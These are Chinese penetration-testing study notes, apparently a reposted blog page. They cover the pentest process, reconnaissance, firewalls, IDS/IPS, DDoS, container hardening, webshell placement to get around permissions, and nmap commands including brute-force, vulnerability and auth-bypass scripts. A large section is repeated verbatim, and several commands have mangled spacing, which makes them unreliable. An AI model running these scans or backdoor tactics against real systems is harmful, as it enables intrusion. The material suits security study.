[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k6I3w9uB-1636167956054)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211019154859075.png)]

​ 1.获得书面的授权
​ 2.侦察

​ 找出系统类型、可用端口、运行的服务、记录发现内容

​ 3. 目标测试

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-60AkZbfp-1636167956054)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016163336383.png)]

​ 4.漏洞利用

​ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FKCb3QXq-1636167956055)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016163408268.png)]

​ 5.提升权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3UtGU83L-1636167956056)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016163612539.png)]

​ 6.清除测试日志&写测试报告及修复方案
​ 7.复测&归档

​ 验证是否有新发现,再次输出报告,归档

3.信息搜集

1)DNS域名和IP

(1)whois域名注册信息查询

(2)域名查询

(3)子域名查询

2)敏感信息搜集

Google

Burpsuit_Repeater

Github

3)整站分析

(1)服务器类型

windows/linux

(2)网站容器

Apache、Nginx、Tomcat、IIS

(3)脚本类型

PHP、jsp、asp、aspx

(4)数据库类型

MySQL、Oracle、SQLserver

4)收集敏感目录文件

御剑

msf

5)开放端口

nmap、御剑、masscan

6)CMS识别

御剑web指纹识别

7)网站漏洞扫描

APPscan

AWVS

kali(W3af)

4.防火墙

指是一个软硬件设备结合而成、在内部和外部网之间、专用网和公共网之间的界面上构造的保护屏障。

可检测、限制、更改跨越防火墙的数据流,尽可能外网屏蔽内网的信息、结构、运行状况。来实现对网络的安全保护

分类:网络层和应用层防火墙

网络层防火墙基于源地址和目的地址、应用、协议以及每个IP 包的端口来作出通过与否的判断。

应用层防火墙针对特别的网络应用服务协议即数据过滤协议,并且能够对数据包分析并形成相关的报告。

主要功能

​ • 过滤进、出网络的数据

​ • 防止不安全的协议和服务

​ • 管理进、出网络的访问行为

​ • 记录通过防火墙的信息内容

​ • 对网络攻击进行检测与警告

​ • 防止外部对内部网络信息的获取

​ • 提供与外部连接的集中管理

下一代防火墙

主要是一款全面应对应用层威胁的高性能防火墙。可以做到智能化主动防御、应用层数据防泄漏、应用层洞察与控制、威胁防护等特性。下一代防火墙在一台设备里面集成了传统防火墙、IPS、应用识别、内容过滤等功能既降低了整体网络安全系统的采购投入,又减去了多台设备接入网络带来的部署成本,还通过应用识别和用户管理等技术降低了管理人员的维护和管理成本。

5.IDS

入侵检测系统

通过从网络系统中的若干关键节点收集并分析信息,监控网络中是否有违反安全策略的行为或者是否存在入侵行为。

通常包含 3 个必要的功能组件:信息来源、分析引擎和响应组件。

信息收集包括收集系统、网络、数据及用户活动的状态和行为。入侵检测利用的信息一般来自:系统和网络日志文件、非正常的目录和文件改变、非正常的程序执行这三个方面。

分析引擎对收集到的有关系统、网络、数据及用户活动的状态和行为等信息,是通过模式匹配、统计分析和完整性分析这三种手段进行分析的。前两种用于实时入侵检测,完整性分析用于事后分析。

告警与响应根据入侵性质和类型,做出相应的告警与响应。

6.IPS

入侵防御系统是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。

串行部署的防火墙可以拦截低层攻击行为,但对应用层的深层攻击行为无能为力。旁路部署的 IDS 可以及时发现那些穿透防火墙的深层攻击行为,作为防火墙的有益补充,但是无法实时的阻断。

因此出现了基于 IDS 和防火墙联动的 IPS:通过 IDS 来发现,通过防火墙来阻断。但由于迄今为止没有统一的接口规范,加上越来越频发的“瞬间攻击”(一个会话就可以达成攻击效果,如 SQL 注入、溢出攻击等),使得 IDS 与防火墙联动在实际应用中的效果不显著

7.DDOS

拒绝服务攻击,指利用足够数
量的傀儡计算机产生数量巨大的攻击数据包,对网络上的一台或多台目标实施 DDoS 攻击,成倍地提高威 力,从而耗尽受害目标的资源,迫使目标失去提供正常服务的能力

1)udp反射

是拒绝服务攻击的一种

不直接攻击目标,利用互联网中某些开放的服务器,伪造被攻击者的地址并向该服务器发送基于 UDP 服务的特殊请求报文,使得数倍于请求报文的数据被发送到被攻击 IP,从而对后者间接形成 DDoS 攻击。

常用于 DoS 攻击的服务有:

​ • NTP

​ • DNS

​ • SSDP

​ • Memcached

其中 DNS 攻击主要是指 DNS Request Flood、DNS Response Flood、虚假源 + 真实源 DNS Query Flood、

权威服务器攻击和 Local 服务器攻击。

常用的防护方式

• 基于特定攻击的指纹检测攻击,对相应流量进行封禁/限速操作

• 对正常流量进行建模,对识别出的异常流量进行封禁/限速操作

• 基于 IP/端口进行综合限速策略

• 基于地理位置进行封禁/限速操作

7.什么是 CC 攻击?

这个也是知道一些,知道他是 DDos 的变种,正常请求伪造,服务器资

源耗尽。

CC 攻击是 DDOS(分布式拒绝服务)的一 种,相比其它的 DDOS 攻击 CC 似乎更有技术含量一些。这种攻击你见不到真

实源 IP,见不到特别大的异常流量,但造成服务器无法进行正常连接。CC 攻击 的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器 资源耗尽,一直到宕机崩溃。CC 主要是用来攻击页面的,每个人都有这样的体 验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC 就是模拟多个 用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需 要大量 CPU 时间)的页面,造成服务器资源的浪费,CPU 长时间处于 100%, 永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。

8.安全加固

最小安装

删除所有开发工具(编译器等)

• 更新系统源

• 启用 AppArmor

• 启用 SELinux

• 限制运行容器的内核功能

• 移除依赖构建

• 配置严格的网络访问控制策略

• 不使用 root 用户启动 docker

• 不以 privileged 特权模式运行容器

控制资源

CPU Share

CPU 核数

内存资源

IO 资源

磁盘资源

硬件资源

• 使用安全的基础镜像

• 定期安全扫描和更新补丁

删除镜像中的 setuid setgid 权限

RUN find / -perm +6000-type f-exec chmod a-s {} ;|| true

• 配置 Docker 守护程序的 TLS 身份验证

• 如非必要禁止容器间通信

rootless Docker

https://get.docker.com/rootless

• 使用 Seccomp 限制 syscall

• 构建环境和在线环境分开

• 证书校验

9.常见防护

目录安全性:身份验证、ip限制、安全通信

身份验证、匿名访问

若不开启匿名访问,需要输入账号密码进入

ip和域名限制

限制ip访问
可以设置黑名单或者白名单

10.中间件的识别

通过抓取返回数据包,返回头部,即可判断出中间件服务

11.web后门

网站权限为iis来宾用户(匿名访问用户)
把网站路径文件夹的iis来宾用户权限拒绝后,菜刀木马链接不到该网站

写入失败时,要考虑是不是写入权限被限制

读取和运行

执行权限:无、脚本、脚本和可执行文件

绕过思路:将后门放到其他目录里面,脚本根目录或者其他可执行脚本的目录

12.常见端口

img

13.Nmap

1.常用用法
1)扫描单个目标地址

nmap 192.168.0.100

2)扫描多个目标地址

nmap 192.168.1.100 192.168.1.105

3)扫描一个范国内的目标地址

nmap 192.168.0.100-200

4)扫描目标地址所在网段

nmap 192.168.0.100/24

表示0.1~0.255

5)扫描主机列表中targets.txt的所有目标地址

nmap-il C:\target.txt

6)扫描除了某个目标/某一文件中目标地址之外的目标地址

nmap 192.168.0.100/24-exclude 192.168.0.105

不对105扫描

nmap 192.168.0.100/24-excludefile C:target.txt

7)扫描特定端口

nmap 192.168.0.100 -p 21,22

8)对目标进行路由跟踪

nmap–traceroute 192.168.0.105

9)扫描目标地址所在C段的在线状况

nmap-sP 192.168.0.100/24

10)对目标服务版本的检测

nmap-sV192.168.0.105

11)探测目标的防火墙状态

nmap-sF -T4 192.168.0.105

12)识别目标地址的·操作系统指纹识别

nmap -O192.168.0.105

2.脚本
脚本默认存在/xx/nmap/scripts文件下

1)弱口令检测

nmap–script=auth 192.168.0.105

2)暴力破解(对数据库、smb、snmp等)

nmap–script=brute 192.168.0.105

3)扫描常见漏洞

nmap–script=vuln 192.168.0.105

4)应用服务扫描

nmap–script=realvnc-auth-bypass 192.168.0.105

5)探测局域网内更多服务开启状况

nmap -n -p 445–script=broadcast 192.168.0.105

6)whois解析

nmap-script external baidu.com

十一、概念名词

1.域名

1)域名:

网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。

2)什么是二级域名

abc.xxx.com

abc为二级域名

3)域名发现对安全测试的意义

对主站进行安全检测时,主站找不到漏洞可以去多级域名下找

2.DNS

1)DNS

域名系统服务协议

用于域名与IP地址的相互转换

多级域名解析生效时间为DNS的时间

2)本地HOSTS与DNS的关系

重定向解析

当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统再会将网址提交DNS域名解析服务器进行IP地址的解析。

3)CDN

缓存节点技术,使得在各地访问都能达到最快速度

对这类网站进行扫描时,一定要找出真实ip地址,对缓存扫描时无效的

4)常见的DNS安全攻击

DNS劫持 DNS投毒

3.脚本语言

1)常见的脚本语言

asp PHP aspx jsp javaweb pl py cgi

2)不同脚本类型与安全漏洞的类型

规则较多的脚本,安全性能比较高

越简单的语言,安全漏洞产生的可能性就比较大

php适用小中型网站的开发、java适用大型网站的开发

4.后门

1)什么是后门?有哪些后门?

webshell
网站后门、服务器后门、

后门是一个概念名词,范围很大,类型也很多

2)后门在安全测试中的实际意义

  • 方便第二次入侵
  • 操作目标的管道

3)关于后门需要了解哪些?

多种玩法、免杀

5.WEB

1)web组成框架模型

网站源码:分脚本类型、分应用方向
操作系统:Windows Linux
中间件(搭建平台): apache iis tomcat nginx等
数据库:access mysql oracle sybase db2 postsql等

2)为什么要从web层面为主为首?

名单或者白名单

10.中间件的识别

通过抓取返回数据包,返回头部,即可判断出中间件服务

11.web后门

网站权限为iis来宾用户(匿名访问用户)
把网站路径文件夹的iis来宾用户权限拒绝后,菜刀木马链接不到该网站

写入失败时,要考虑是不是写入权限被限制

读取和运行

执行权限:无、脚本、脚本和可执行文件

绕过思路:将后门放到其他目录里面,脚本根目录或者其他可执行脚本的目录

12.常见端口

img

13.Nmap

1.常用用法
1)扫描单个目标地址

nmap 192.168.0.100

2)扫描多个目标地址

nmap 192.168.1.100 192.168.1.105

3)扫描一个范国内的目标地址

nmap 192.168.0.100-200

4)扫描目标地址所在网段

nmap 192.168.0.100/24

表示0.1~0.255

5)扫描主机列表中targets.txt的所有目标地址

nmap-il C:\target.txt

6)扫描除了某个目标/某一文件中目标地址之外的目标地址

nmap 192.168.0.100/24-exclude 192.168.0.105

不对105扫描

nmap 192.168.0.100/24-excludefile C:target.txt

7)扫描特定端口

nmap 192.168.0.100 -p 21,22

8)对目标进行路由跟踪

nmap–traceroute 192.168.0.105

9)扫描目标地址所在C段的在线状况

nmap-sP 192.168.0.100/24

10)对目标服务版本的检测

nmap-sV192.168.0.105

11)探测目标的防火墙状态

nmap-sF -T4 192.168.0.105

12)识别目标地址的·操作系统指纹识别

nmap -O192.168.0.105

2.脚本
脚本默认存在/xx/nmap/scripts文件下

1)弱口令检测

nmap–script=auth 192.168.0.105

2)暴力破解(对数据库、smb、snmp等)

nmap–script=brute 192.168.0.105

3)扫描常见漏洞

nmap–script=vuln 192.168.0.105

4)应用服务扫描

nmap–script=realvnc-auth-bypass 192.168.0.105

5)探测局域网内更多服务开启状况

nmap -n -p 445–script=broadcast 192.168.0.105

6)whois解析

nmap-script external baidu.com

十一、概念名词

1.域名

1)域名:

网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。

2)什么是二级域名

abc.xxx.com

abc为二级域名

3)域名发现对安全测试的意义

对主站进行安全检测时,主站找不到漏洞可以去多级域名下找

2.DNS

1)DNS

域名系统服务协议

用于域名与IP地址的相互转换

多级域名解析生效时间为DNS的时间

2)本地HOSTS与DNS的关系

重定向解析

当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统再会将网址提交DNS域名解析服务器进行IP地址的解析。

3)CDN

缓存节点技术,使得在各地访问都能达到最快速度

对这类网站进行扫描时,一定要找出真实ip地址,对缓存扫描时无效的

4)常见的DNS安全攻击

DNS劫持 DNS投毒

3.脚本语言

1)常见的脚本语言

asp PHP aspx jsp javaweb pl py cgi

2)不同脚本类型与安全漏洞的类型

规则较多的脚本,安全性能比较高

越简单的语言,安全漏洞产生的可能性就比较大

php适用小中型网站的开发、java适用大型网站的开发

4.后门

1)什么是后门?有哪些后门?

webshell
网站后门、服务器后门、

后门是一个概念名词,范围很大,类型也很多

2)后门在安全测试中的实际意义

  • 方便第二次入侵
  • 操作目标的管道

3)关于后门需要了解哪些?

多种玩法、免杀

5.WEB

1)web组成框架模型

网站源码:分脚本类型、分应用方向
操作系统:Windows Linux
中间件(搭建平台): apache iis tomcat nginx等
数据库:access mysql oracle sybase db2 postsql等

2)为什么要从web层面为主为首?

web使用很广,直接从别的方面入手不太现实

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/140710
推荐阅读
相关标签
  

闽ICP备14008679号